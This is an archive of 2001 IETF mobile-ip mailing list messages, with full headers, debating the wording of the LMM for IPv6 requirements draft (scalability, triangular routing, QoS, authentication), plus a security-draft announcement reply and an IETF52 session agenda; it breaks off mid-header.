Message-ID: <3BF54AD3.12D11247@iprg.nokia.com>
Date: Fri, 16 Nov 2001 09:20:19 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: Carl Williams <carlw@docomolabs-usa.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <01c901c16990$061f5b90$686015ac@docomocarl> <3BF1D482.E33A9DE0@iprg.nokia.com> <3BF3FC86.ADCEF1D3@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Theo,

thanks for reading my comments. I snipped the ones where we agree, and
tried to explain myself better on the other points.

Theo Pagtzis wrote:

> > 1.2 Principles of the LMM
> >
> > It seems to me that this subsection belongs to the solution space. "This
> > is done
> > by [...] assigning two care-of addresses..." and other sentences like
> > this one describe how to implement LMM. This should not be in a req
> > draft. The principles should be at a concept level. Or the whole
> > paragraph should
> > be scrapped. (Same issue in 2.0 Terminology:  the LMA is defined in
> > solution space,
> > and not concept space).
> >
>
> I strongly disagree.. The principles describe the operational abstract
> of an LMM scheme. Perhaps one needs to qualify the 'two CoAs' with 'at
> least two CoAs' since you require at least one localised (domain-wide)
> point of routing/id reference. Perhaps you may want to add more in a
> future LMM scheme (but I very much doubt since it would be at least
> sub-optimal unless you intend to abstract CIP or HAWAII with just one
> such route/id ref -which is probably another class of micro-mobility in
> my book)

I think this is not the point I was making. The wording in the principles
paragraph
is not at the principles levels, but can be seen as implementation
recommandation.
For all I care, if someone can meet all the reqs with one CoA, it is fine with
me. The doc
says: "This is done by..." I assume refering to HMIP or RegReg.

>
>
> BTW the LMA term you mention is solution specific but not mentioned in
> the reqs doc..

I should read again the reqs doc: it is one of 6 terms defined in the
terminology.
As it is defined in the terminology, for the consistency of the document, it
should
be used instead of LMM agents that populate the document.

>
>
> > 3.3 Induced LMM functional requirements
> > ("Functional requirements induced by LMM" would be better0
> >
> > 3.3.1 and 3.3.3: I do not see the difference. Please merge or clarify.
>
> Indeed they may seem somewhat similar. However, the first one involves
> _also_ functionality on the routing elements that needs to be tightly
> controlled.

So you mean the second one is included in the first one? Them please merge or
clarify.

>
>
> This may indeed need to be made more specific such that one stands as a
> requirement over HA+CNs and the other stands as a requirement over ARs.
> I believe this is also a good divide and conquer approach
> (reqirements-wise) to tackle the issue on what we see as the abstract of
> a mobility extension.
>
> >
> > 3.4 Scalability
> >
> > Shouldn't 3.3.2 be filed in there?
> >
> > 3.4.1:  "Scalability guarantees to support millions of nodes for an AD"
> > Is this about scaling, or about supporting a large number of users?
>
> I perceive scalability of an LMM scheme as the ability to support
> (scales with) an increasing number of MNs. Perhaps if you voice out how
> you perceive scalability we may see a different perspective on the
> requirement. Do you want to elaborate a little on your view?

Scalability is about the marginal increase induced by adding new users. You
can
build a system for a million users. If you multiply by one million the system
complexity
to accomodate 3 more users, then it is not scalable. However, you did
guarantee
support for millions of nodes. Thus, I strongly disagree with the wording
above.

>
>
> > This, unlike
> > other subsection headings, is not phrased as a requirement.
>
> considering my perception of scalability I kindly disagree although
> wordsmithing is a never-ending endeavour.

Well, let me put it simply: I would like a MUST or a SHOULD or any word like
this, like the other headers in this section 3.4 have.

>
>
>  I'd replace
> > it with
> > the first sentence, but then again, I don't know what the scaling of a
> > _framework_
> > means. Get rid of number references. There is a billion cell phone users
> > on this
> > earth today, so millions are already not enough.
>
> I agree that scalability needs to touch on a unit of measure: i.e.
> globally? link-locally, site-locally or what?

You agree with something I did not say :-).

>
> In a distributed system you want to see the capacity over what may be
> considered the minimal unit of capacity measure and then work your way
> up to the global (perhaps billions/zillions) aggregate. In that
> perspective we need to be driven by a metric of node capacity over the
> measure of locality! This goes away from numbers which is probably
> better as the figure is a bit stochastic..

Let's keep it simple, would you? I'd suggest:
"3.4.1 The LMM complexity MUST increase at most linearly with the size
of the LM domain and the number of MNs."

>
>
> There are two
> > requirements in the
> > paragraph anyway (and they contradict: one says "it should scale", the
> > other
> > says "it should be distributed so as to avoid scaling effects").
>
> I am not clear what you mean here..all it says is that distribution
> would aid scaling...this may sound like a potential suggestion for
> scalability but it is generic enough to remain in the abstract.

My point is that, if you suggest to distribute the system to make it scalable,

then you are going into solution space. The second req goes as:
"The LMM framework MUST support distribution of the LMM functionality
in the visited domain..." . While I see where you are coming from,
it seems to me that the LMM functionality should be distributed over the
LMM domain. What is the visited domain? The LMM domain. What is the
LMM domain? The domain where the LMM functionality applies. With this
in mind, re-read the excerpt I just quoted. You'll agree it should be removed.

>
>
> > Also, replace "linearly" with "at most linearly", as we can accept
> > better than linear
> > performance.
> >
>
> It seems to me that the wordsmithing here calls for 'at worst linearly'
> rather than 'at most..'. I trust this is what you want to mean but 'at
> most' sounds a bit strange..

Not to me. It is meant as an upper bound, thus at most. At worst is fine
with me.

> > 3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
> > don't think
> > it is bad, that the amount of signaling would increase as the number of
> > users, as the
> > Local Domain expands in size.
>
> Signaling will by default increase with the number of MNs. Nobody argues
> against that.

The req as phrased does.

> The question here lies with what is defined as a domain?
> Is it the MN population (I believe this is not what is the intended
> semantic but I may be wrong)? or is it the size (diameter, say) of the
> domain? Perhaps Carl wants to consider the two perspectives in the
> document.
>
> >
> > 3.4.7 Technically, it is not triangular routing, as uplink is optimized
> > and downlink is
> > triangular. Actually, it assumes that "all traffic MUST go through the
> > LMM agent"
> > (MUST emphasis mine), uplink and downlink. More on this later.
>
> With all due respect, technicaly you are wrong: I cite the term of
> Triangle Routing from the Route Optimization draft of
> Perkins and Johnson:
>
> " Triangle Routing
>
>          A situation in which a Correspondent Host's packets to a Mobile
>          Host follow a path which is longer than the optimal path
>          because the packets must be forwarded to the Mobile Host via a
>          Home Agent."
>
> i.e. we only refer to the downlink. That is to say that upstream traffic
> from the MN to the world is not even considered. Perhaps though Carl
> wants to make that clearer for the uninitiated.

I quote from 3.4.7: "all traffic must go through the LMM agent". So both
uplink and downlink are considered. I agree with this, it should be clarified,

and this is why I proposed to add this as a requirement.

> >
> > 'The LMM framework SHOULD support optimal placement...LMM"
> > This is an implementation issue.  Should be removed.
>
> IMHO this is not an implementation issue, it is the issue of eliminating
> the triangular routing. It does not say where to put it, however it
> identifies that placement can make a difference in at least the second
> routing leg past the LMM agent if not placed optimally.

It is actually an engineering issue. This to me is the same as requesting
for instance that "the LMM framework SHOULD support optimal provisioning
of the links to the LMM agent". Where I locate my LMM agent box in
my network is a L1, physical layer, issue.

> > 3.5.1/2/3 Add a mention that if MUST NOT increase is the least expected,
> > SHOULD decrease
> > would not be too bad either
>
> disagree, the 'SHOULD' directive conveys instruction which is not
> necessarily mandatory..the 'MUST NOT' certainly mandates..

this is why I say: Add a mention. I did not say: replace one with the other.

> >
> > 3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
> > as: LMM MUST
> > NOT disrupt IP routing outside of the LM domain.
>
> Well this is really tricky..how can you assure elimination of
> disruption.

The req as stated is: "The LMM framework MUST NOT disrupt core IP routing..."
So I'll return the question to you.

> How do you perceive disruption? Why should the LMM domain be
> considered any different than the internet backbone when it comes to
> routing.

Because the LMM interferes with routing. Using only the regional CoA, packets
cannot get routed to the MN. Thus my grudge with the requirement, and the
suggested change, as by its definition, the LMM makes it impossible to
enforce.

> I thought the intent is to keep host routes under control. The
> above statement does make some (partial) sense to me I guess..

> > 3.8 Last paragraph "To avoid concentration....populate the
> > administrative domain". Remove the
> > paragraph. There is no concern that MNs mobility patterns would be
> > affected or influenced
> > by the LMM-agents (btw, it is LMA in the terminology). Is this paragraph
> > saying that
> > MN will flock to an access point close to a LMA? Do cell phone users
> > aggregate in front
> > of building carrying base stations?
>
> I disagree with the removal but let me explain the rationale here,
> perhaps needs a bit of a wordsmithing here also. Basicaly your LMM
> domain is not cast in stone with respect to the population of the LMM
> agent. You initiate deployment with a minimal set of LMM agent, usualy
> sparse at first. If the thing works out to do well and more MNs start
> populating the _domain_ you want to scale up your deployment plans with
> more LMM agents (dense). That means that the LMM scheme must cater for
> the introduction of new LMM agents which are a change in the LMM
> topological overlay, without incurring a prohibitive cost of ownership,
> i.e. autoconfigure the new LMM (meta)-topology

I think this is covered in the scalability requirement: as your number of MN
increases,
the complexity of scaling the LMM to accomodate these users should not get out
of hands.
Don't you think?

>
>
> I think however I agree with a merging with 3.4.5 since they are pretty
> much the same thing (only from the generic to the specific :).
>
> In that respect I guess 3.8 section should merge to 3.4.5.
>
> > -----------------------------------
> > Missing reqs
> > -----------------------------------
> > Even though you request that no new reqs be provided, let me make the
> > case for one:
> >
> > 3.15 QoS
> >
> > The LMM MUST interwork with the QoS schemes to:
> > 3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
> > QoS signaling.
>
> fine !
>
> > 3.15.2-facilitate the new provisioning of both uplink and downlink QoS
> > after a handoff
>
> fine (2) with a slight reservation for the following comment. Who says
> that if you facilitate new provisioning for the uplink from the MN you
> have to go through the LMM agent?

not me! If the CN is outside of the LMdomain, then yes, you'd require the
uplink traffic and the QoS signaling to go through the LMM agent. If the CN is

inside the same LM domain, then by no means should you go to the LMA.

>
>
> >
> > 1- means that the uplink traffic MUST be tunneled through the LMA.
> > (this is assume in the document, it must be explicited. Current LMM
> > proposals
> > (HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
> > This allows the CN to be aware of the local mobility of the MN by
> > looking at
> > the source IP address.) This draft makes the assumption that the
> > uplink traffic is tunneled through the LMA (section 3.4.7).
>
> _no it is not! In fact it assumes that it doesn't although it is not
> explicitly stated (I guess two edged sword.. :)

This is why I suggest to clarify! Although I'd make the recommendation that
the
uplink traffic goes through the LMA, when the CN is outside of the LM domain
(this for location privacy and signaling economy by avoiding e2e QoS signaling

after handoff).

Take care,

Cedric.



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 12:44:43 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13515
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 12:44:43 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA23168;
	Fri, 16 Nov 2001 10:43:25 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA05605;
	Fri, 16 Nov 2001 09:43:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHgfLS020263
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:42:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGHgfRv020262
	for mobile-ip-dist; Fri, 16 Nov 2001 09:42:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHgcLS020255
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:42:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA16106
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:42:19 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA17176
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 10:42:49 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA19551
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:42:38 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAGHgbI03788
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:42:37 -0800
X-mProtect:  Fri, 16 Nov 2001 09:42:37 -0800 Nokia Silicon Valley Messaging Protection
Received: from maxdialin10.iprg.nokia.com (205.226.20.240, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdmzrGzD; Fri, 16 Nov 2001 09:42:35 PST
Message-ID: <3BF54FAE.6445BEC0@iprg.nokia.com>
Date: Fri, 16 Nov 2001 09:41:02 -0800
From: Charlie Perkins <charliep@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] announcing draft-montenegro-mipv6-seceval-00.txt
References: <3BF549DA.72AA77D1@sun.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello folks,

It just was not possible for me to contribute any text before the Tuesday
deadline.  I will try to do so before the IETF.

Regards,
Charlie P.


gabriel montenegro wrote:

> The first revision of the assessment draft was sent in time to the repository.
> If people want to download it before the official announcement comes around,
> please do so from the following location (thanks to Alex Petrescu):
>
>     http://internet.motlabs.com/draft-montenegro-mipv6-seceval-00.txt
>
> This version is not complete, but it's a good enough start for a fuller 01 revision
> which will only happen after SLC.
>
> -gabriel



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 13:01:34 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14502
	for <mobileip-archive@lists.ietf.org>; Fri, 16 Nov 2001 13:01:34 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA09975;
	Fri, 16 Nov 2001 10:00:14 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA03113;
	Fri, 16 Nov 2001 09:36:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHZxLS020168
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:35:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGHZxsI020167
	for mobile-ip-dist; Fri, 16 Nov 2001 09:35:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGHZtLS020160
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:35:55 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26713
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:35:56 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA16020
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 10:35:38 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA18898
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:35:55 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAGHZtl29681
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 09:35:55 -0800
X-mProtect:  Fri, 16 Nov 2001 09:35:55 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpddmGxkA; Fri, 16 Nov 2001 09:35:53 PST
Message-ID: <3BF54E78.FD49E8C0@iprg.nokia.com>
Date: Fri, 16 Nov 2001 09:35:52 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hesham,

"Hesham Soliman (ERA)" wrote:

> .../...

> 3.15 QoS
>
> The LMM MUST interwork with the QoS schemes to:
> 3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
> QoS signaling.
> 3.15.2-facilitate the new provisioning of both uplink and downlink QoS
> after a handoff
>
> 1- means that the uplink traffic MUST be tunneled through the LMA.
> (this is assume in the document, it must be explicited. Current LMM
> proposals
> (HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
> This allows the CN to be aware of the local mobility of the MN by
> looking at
> the source IP address.) This draft makes the assumption that the
> uplink traffic is tunneled through the LMA (section 3.4.7). It also
> mention
> provisioning in 1.3 as one of the goals of the LMM.
>
> Having an optimized (non-triangular) uplink means that in case of QoS
> renegotiation
> after handoff end-to-end for the uplink, the location is not hidden to
> the CN. It also introduces
> delays and extra signaling in having to renegotiate e2e. By having a
> potentially
> distinct uplink and downlink, it introduces the need for distinct QoS
> signaling uplink
> and downlink for re-establishment after handoff. On the other hand, by
> having
> both uplink and downlink going through the LMA, the handoff implies
> changing
> on the paths only below the LMA. One QoS re-establishment request can be
> sent
> to the LMA for both up and downlink.
>
> 2-means that LMM and QoS (like LMM and IP routing) MUST work
> hand-in-hand.
>
> => I understand what you're trying to get to, but there is
> clearly a compromise and inefficiency here in terms
> of routing, additional dealys ...etc if the CN is
> closer than the LMM agent.

[CWe] I agree that there is a trade-off. This trade-off exists already for
the downlink (assuming
the MN uses its regional CoA anyway, to avoid the BU overload on the
CN or to achieve some location privacy). I would agree with a requirement
that distinguishes between a CN in the LM domain, and a CN away out of the
LM domain.

> Having said that I've actually
> added this feature in the HMIPv6 draft, but for a different
> reason.

out of curiosity, can I ask which one?

> I'm neutral to this requirement really, I see
> your point but I can also envisage different ways of
> re-establishing the QoS path within the domain. For instance
> a combination of Context transfer and proxy RSVP
> from the new AR might also work, but I haven't looked
> into it in more detail.

I thought about something along these lines, but it seems more
complex to me. By having the old path and the new path after
handoff differing only in the LM domain, you can give bounds
on the handoff latency (signalling goes no higher than LMM agent,
provisioning is within the LM domain, and every thing is in your
control). This is very appealing in terms of QoS: you can guarantee
the QoS is re-established within so many milliseconds within the domain.
If you don't 'pin' the uplink at the LMM agent, then it is beyond your
control.

>
>
> I have another comment on the requirement for LMM to use
> strong authentication. I can understand it if we want to
> allow LMM to use strong authentication (PKI ...etc)
> optionally in addition to the -TBD- MIPv6 SA establishment
> protocol. But I certainly don't think we should mandate
> strong authentication only for LMM. This seems very strange
> in light of the current MIPv6 security debacle.

Agreed.

Cheers,

Cedric.

>
>
>
> Regards,
> Hesham



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 15:01:07 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22884
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 15:01:06 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA27180;
	Fri, 16 Nov 2001 12:59:39 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA19254;
	Fri, 16 Nov 2001 11:59:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGJwqLS020679
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 11:58:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGJwquH020678
	for mobile-ip-dist; Fri, 16 Nov 2001 11:58:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGJwmLS020671
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 11:58:48 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07163
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 11:58:49 -0800 (PST)
Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23421
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 11:58:48 -0800 (PST)
Received: from davir03nok.americas.nokia.com (davir03nok.americas.nokia.com [172.18.242.86])
	by mgw-dax1.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fAGJwrQ07222
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 13:58:53 -0600 (CST)
Received: from daebh001.NOE.Nokia.com (unverified) by davir03nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5741dc8b11ac12f256126@davir03nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Fri, 16 Nov 2001 13:58:47 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Fri, 16 Nov 2001 13:58:46 -0600
content-class: urn:content-classes:message
Subject: [mobile-ip] Update1 : Draft agenda - IETF52
Date: Fri, 16 Nov 2001 13:58:46 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF444CD0F4@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: Update1 : Draft agenda - IETF52
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Index: AcFu2RlEFzvGGtrFEdWxOgAAhj/HZA==
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: "'Mobile IP'" <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 16 Nov 2001 19:58:46.0921 (UTC) FILETIME=[1A2D2790:01C16ED9]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fAGJwnLS020672
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

INT     mobileip IP Routing for Wireless/Mobile Hosts WG
		 (Dec 12th, 0900-1130)
---------------------------------------------------------
					<T> - Tentative

1   Agenda Bashing		15 Mins		WG Chairs	
    WG Doc Status						

2   Security for MIPv6 discussion                    60 Mins
    draft-ietf-mobileip-mipv6-sec-reqts-02.txt
    draft-montenegro-mipv6-seceval-00.txt	    [Gabriel Montenegro
    draft-arkko-mipv6ro-secframework-00.txt          Erik Nordmark
    draft-savola-ipv6-rh-ha-security-00.txt	     Jari arkko]

3   Piggybacking of BUs		10 Mins		Charles Perkins	

4   RFC3012bis	draft-ietf-mobileip-rfc3012bis-00.txt	10 Mins
Charles/Pat

5   Other WG items					40 Mins
    Issues with Implementation of low latency MIPv4     James Kempf
    draft-ietf-mobileip-lowlatency-handoffs-v4-02.txt	Karim El-Malki
<T> draft-ietf-mobileip-fast-mipv6-03.txt		Gopal Dometty
    draft-ietf-mobileip-lmm-requirements-01.txt		Carl Williams


6   MIPv4 with NATs and Firewalls			15 Mins
    draft-levkowetz-vaarala-mobileip-nat-traversal-00.txt  Henrik L.
    draft-adrangi-mobileip-natvpn-traversal-00.txt	   Prakash Iyer	

7   MIPv6 at ETSI Bakeoff Report     10 Mins		Sebastien Barbin


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 16 17:34:57 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27669
	for <mobileip-archive@odin.ietf.org>; Fri, 16 Nov 2001 17:34:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA03764;
	Fri, 16 Nov 2001 15:33:26 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA22865;
	Fri, 16 Nov 2001 14:33:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMWZLS020961
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:32:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAGMWZaK020960
	for mobile-ip-dist; Fri, 16 Nov 2001 14:32:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAGMWULS020953
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:32:30 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA19625
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:32:30 -0800 (PST)
Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA26603
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 16 Nov 2001 14:32:29 -0800 (PST)
Received: from jariws1 ([62.248.153.233]) by fep02-app.kolumbus.fi
          (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP
